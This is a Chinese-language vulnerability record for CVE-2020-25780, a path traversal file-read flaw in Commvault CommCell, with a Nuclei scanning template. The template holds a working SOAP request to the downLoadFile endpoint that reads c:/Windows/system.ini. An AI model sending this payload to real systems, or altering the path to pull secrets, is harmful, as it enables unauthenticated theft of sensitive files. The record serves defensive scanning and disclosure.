漏洞信息
漏洞名称： Commvault CommCell Local File Inclusion Vulnerability
漏洞编号：
漏洞类型： 文件读取
漏洞等级： 高危
漏洞描述： Commvault CommCell是一款广泛使用的企业级数据备份和恢复解决方案，旨在帮助组织保护和管理其关键数据。它通常部署在企业环境中，用于自动化数据备份、恢复和归档过程。由于其广泛的应用，CommCell的安全问题可能会对大量企业造成影响。该漏洞属于文件读取类型，其技术根源在于CommCell在处理特定请求时未能正确限制文件访问路径，导致攻击者可以通过构造特殊的SOAP请求，读取系统上的敏感文件。这种漏洞的利用不需要身份验证，攻击者可以远程执行攻击，从而可能导致敏感信息泄露，如系统配置文件、密码文件等。成功利用此漏洞的攻击者可以获取系统上的敏感信息，进而可能用于进一步的攻击活动，如权限提升或数据泄露。由于该漏洞的利用门槛较低，且影响范围广泛，因此被评级为高危漏洞。
产品厂商： Commvault
产品名称： CommCell
影响版本： before 14.68, 15.x before 15.58, 16.x before 16.44, 17.x before 17.29, and 18.x before 18.13
来源： https://github.com/projectdiscovery/nuclei-templates/blob/5288bea871d90346cf385e92ed30c3a5882d37f7/http%2Fcves%2F2020%2FCVE-2020-25780.yaml
类型： projectdiscovery/nuclei-templates:github issues
POC详情
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
|
id: CVE-2020-25780
info:
name: Commvault CommCell - Local File Inclusion
author: pdteam
severity: high
description: CommCell in Commvault before 14.68, 15.x before 15.58, 16.x before 16.44, 17.x before 17.29, and 18.x before 18.13 are vulnerable to local file inclusion because an attacker can view a log file can instead view a file outside of the log-files folder.
impact: |
Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the system.
remediation: |
Apply the latest security patches or updates provided by Commvault to fix the local file inclusion vulnerability.
reference:
- https://srcincite.io/blog/2021/11/22/unlocking-the-vault.html
- http://kb.commvault.com/article/63264
- https://nvd.nist.gov/vuln/detail/CVE-2020-25780
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2020-25780
cwe-id: CWE-22
epss-score: 0.41514
epss-percentile: 0.97268
cpe: cpe:2.3:a:commvault:commcell:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: commvault
product: commcell
tags: cve,cve2020,commvault,lfi
http:
- method: POST
path:
- "{{BaseURL}}/SearchSvc/CVSearchService.svc"
body: |
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
<soapenv:Header/>
<soapenv:Body>
<tem:downLoadFile>
<tem:path>c:/Windows/system.ini</tem:path>
</tem:downLoadFile>
</soapenv:Body>
</soapenv:Envelope>
headers:
Cookie: Login
soapaction: http://tempuri.org/ICVSearchSvc/downLoadFile
content-type: text/xml
matchers-condition: and
matchers:
- type: word
words:
- "downLoadFileResult"
- type: status
status:
- 200
|